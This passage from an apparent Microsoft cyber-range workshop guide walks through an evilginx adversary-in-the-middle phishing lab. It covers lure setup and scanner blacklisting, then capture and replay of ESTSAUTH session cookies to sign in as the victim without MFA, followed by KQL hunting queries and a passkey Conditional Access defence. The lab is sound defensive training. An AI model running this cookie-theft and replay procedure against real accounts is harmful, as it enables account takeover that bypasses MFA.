: config redirect_url https://www.microsoft.com # non-lure visitors bounce away
: blacklist unauth # drop scanners quietly
Running phishlets enable triggers an ACME HTTP-01 challenge. After 5 failed attempts on the same hostname, Let's Encrypt rate-limits that hostname for 1 hour. Before enabling, confirm nslookup login.yourdomain.example 8.8.8.8 returns your VM IP, and that port 80 is reachable on the VM.
Two settings keep the range quiet: the redirect URL sends anyone who hits the site without a valid lure token to a benign page, and the blacklist drops security scanners before they add noise. lures get-url prints the one link to deliver.
You don't have to wait for external DNS to propagate. Use your test machine's /etc/hosts file to point the phishlet domains directly at the VM IP — the lure URL loads the real Microsoft sign-in through your proxy immediately. Then replay the stolen cookie from a different network to fire the detection.
Step 1 — Add the phishlet domains to /etc/hosts on your test machine
<VM-PUBLIC-IP> login.yourdomain.example
<VM-PUBLIC-IP> portal.yourdomain.example
<VM-PUBLIC-IP> account.yourdomain.example
<VM-PUBLIC-IP> www.yourdomain.example
Windows: open C:\Windows\System32\drivers\etc\hosts in Notepad (run as Administrator), add the same lines, save, then run ipconfig /flushdns in an elevated prompt. Check the phishlet's subdomain list in the YAML — add any additional hostnames listed there.
Step 2 — Drive a proxied sign-in through the lure URL
On the test machine (with /etc/hosts in place), open the lure URL from lures get-url 0 in a browser. You should see the real Microsoft sign-in page — served through your proxy. Sign in as the seeded target account.
If the test account has no MFA required by a CA policy, Microsoft skips the MFA step entirely. No post-MFA session cookie is issued, so there is nothing for evilginx to capture and nothing for the detection to fire on. Make sure the seeded account has MFA enforced before running this step — a simple CA policy requiring MFA for all apps is enough.
After signing in (password + MFA prompt), watch the evilginx console — the session appears in the session list.
Step 3 — Extract the cookie and replay it from a different IP
: sessions # list captured sessions and their IDs
: sessions <id> # show full detail — copy ESTSAUTH and ESTSAUTHPERSISTENT values
Install the Cookie-Editor browser extension on a machine with a different public IP (a mobile hotspot, a home network, a second VM in a different region — anything that gives a different ASN than the attacker VM). Import the cookies as JSON:
[
{ "name": "ESTSAUTH", "value": "<from-evilginx>",
"domain": ".login.microsoftonline.com", "path": "/",
"secure": true, "httpOnly": true },
{ "name": "ESTSAUTHPERSISTENT", "value": "<from-evilginx>",
"domain": ".login.microsoftonline.com", "path": "/",
"secure": true, "httpOnly": true }
]
Navigate to https://www.office.com. If the replay succeeds, you are signed in as the victim — no password, no MFA. That token replay from a new IP/ASN is what fires the detection.
Within a few minutes, a High-risk sign-in for aitm-target@ appears in Entra ID Protection, followed by an Attacker in the Middle or Anomalous Token risk detection raised by Defender for Cloud Apps. The cookie replay from a second IP also raises Stolen session cookie was used. These are the detections you trace through the unified portal and Sentinel below.
What lights up, and where
| Detection | Plane / signal | Sev | License |
|---|---|---|---|
Attacker in the Middle attackerinTheMiddle | ID Protection, via Defender for Cloud Apps - session linked to a malicious reverse proxy; raises user to High | High | E5 + EMS E5 |
Anomalous Token anomalousToken | ID Protection - unusual token lifetime / token played from an unfamiliar location (replay indicator) | Var | Entra ID P2 |
Unfamiliar sign-in properties unfamiliarFeatures | ID Protection - new IP/ASN/device vs. the account's history | Med/High | Entra ID P2 |
| Possible AiTM phishing attempt | Defender XDR / MDCA alert | High | MDCA connectors |
| Stolen session cookie was used | Defender XDR / MDCA - cookie replay (Edge sessions) | High | MDCA connectors |
Find them in entra.microsoft.com → Protection → Identity Protection → Risky users / Risky sign-ins / Risk detections, correlated into an incident in the unified Defender portal, and queryable in Sentinel.
Hunt it in KQL
These are your detection-engineering queries - run them to confirm the signal and to build analytics rules on it.
AADUserRiskEvents
| where TimeGenerated > ago(24h)
| where UserPrincipalName == "aitm-target@yourlab.com"
| where RiskEventType in ("attackerinTheMiddle","anomalousToken","unfamiliarFeatures")
| project TimeGenerated, RiskEventType, RiskLevel, IpAddress, DetectionTimingType, Activity
| sort by TimeGenerated desc
AADSignInEventsBeta
| where Timestamp > ago(24h)
| where AccountUpn == "aitm-target@yourlab.com"
| where isnotempty(SessionId)
| summarize IPs = make_set(IPAddress), Countries = make_set(Country),
Apps = make_set(Application) by SessionId
| where array_length(IPs) > 1 // same token from >1 IP => replay
The passkey defense - a Conditional Access policy that kills AiTM
Objective: enable passkeys, build a Conditional Access policy that requires phishing-resistant MFA strength, then re-run Phase 07 and watch the same attack fail - because a passkey can't be proxied.
Passkeys defeat this attack at the cryptographic level. Ordinary MFA is phishable because the second factor is relayed through the proxy. A passkey (FIDO2) is different: the credential is cryptographically bound to the real sign-in origin (the WebAuthn relying-party ID). Present that same login through an attacker's domain and the browser refuses to release an assertion - there is nothing for the proxy to relay. Step 2 of the diagram above disappears.
Step 1 - Enable passkeys (FIDO2)
- entra.microsoft.com → Entra ID → Security → Authentication methods → Policies → Passkey (FIDO2). (Role: Authentication Policy Administrator.)
- Enable and target → On → target your pilot group (include
aitm-target@) → Save. - For a lab, keep attestation off so synced passkeys / Microsoft Authenticator passkeys register cleanly. Users must complete MFA within the last 5 minutes before registering.
- Register a passkey on the target account at aka.ms/mysecurityinfo.
Step 2 - Build the Conditional Access policy
- Entra ID → Conditional Access → Policies → New policy. Name it
CR-Require-PhishingResistant-MFA. - Assignments → Users: include your pilot group /
aitm-target@; Exclude the two break-glass accounts. - Target resources → Resources: All resources.
- Grant → Require authentication strength → Phishing-resistant MFA strength → Select.
- Set Enable policy to Report-only, review sign-in-log impact, then flip to On.
CA policies deploy through Microsoft Graph. The built-in Phishing-resistant MFA authentication strength has the well-known id 00000000-0000-0000-0000-000000000004. Start in report-only, then PATCH to enabled.
{
"displayName": "CR-Require-PhishingResistant-MFA",
"state": "enabledForReportingButNotEnforced",
"conditions": {
"users": {
"includeGroups": ["<pilot-group-id>"],
"excludeUsers": ["<breakglass-1>","<breakglass-2>"]
},
"applications": { "includeApplications": ["All"] }
},
"grantControls": {
"operator": "OR",
"builtInControls": [],
"authenticationStrength": {
"id": "00000000-0000-0000-0000-000000000004"
}
}
}
You can't combine Require MFA and Require authentication strength in the same policy - the built-in MFA strength already is the MFA grant. Use authentication strength alone. And remember: authentication strength is evaluated after primary auth, so a password prompt can still appear - the user just can't finish without the phishing-resistant method.
Step 3 - Prove it: re-run the attack
Point the Phase 07 AiTM flow at the now-passkey-protected aitm-target@. The proxy can relay a password, but the passkey assertion is bound to the legitimate origin and won't validate through the attacker's domain - no token is issued, no session to steal. The sign-in fails at the strength gate. Compare the before/after in the sign-in logs: same lure, same proxy, and now a blocked sign-in instead of a High-risk detection.
Add a risk-based CA policy (sign-in risk High/Medium → require phishing-resistant strength + sign-in frequency Every time), a policy to block high-risk users, and consider Conditional Access token protection to bind tokens to device hardware - the next move once credentials can't be phished is to go after tokens directly.
Detection-to-control matrix, teardown & sources
Detection → control matrix
The whole range in one table - what you generated, and what shuts it down.
| Attack behavior | Detection surface | Control that defeats it |
|---|---|---|
| AiTM token theft | ID Protection: Attacker in the Middle, Anomalous Token | Phishing-resistant MFA strength (passkey CAP) |
| Credential phishing | MDO / Attack Simulation Training | Phishing-resistant auth + user training |
| Endpoint malware / LOLBins | Defender for Endpoint EDR (clients + servers) | ASR rules, automated investigation & response |
| Server-side compromise | Defender for Servers alerts → Defender XDR | Just-in-time access, MCSB hardening |
| Token replay after phishing | Sentinel KQL / risky sign-ins | Risk-based CAP + token protection |
Teardown & cost
The estate bills while it runs - Defender for Servers is per-VM-hour and the six VMs add up. Between workshops, deallocate the VMs (they stop billing compute) or delete the whole resource group. Because everything is scoped to rg-cyberrange-prod-cus, cleanup is one command:
# pause between sessions (keeps config, stops compute billing)
az vm deallocate --ids $(az vm list -g rg-cyberrange-prod-cus --query "[].id" -o tsv)
# full teardown
az group delete -n rg-cyberrange-prod-cus --yes --no-wait
Tenant-level config - Defender for Servers plan state, the Intune/CAP/auth-method policies, the Sentinel-to-Defender connection - lives outside the resource group and persists. Disable the Defender plan and retire the seeded account and AiTM infra separately.
Primary sources (Microsoft Learn)
A workshop-grade Microsoft cyber range - build it, attack it, defend it. Every step is written for someone doing this for the first time, with both a portal path and a Bicep path, and is verified against Microsoft Learn. Product portals you'll use: portal.azure.com · security.microsoft.com · entra.microsoft.com · intune.microsoft.com. Run the offensive phases only in an isolated tenant, against accounts you own.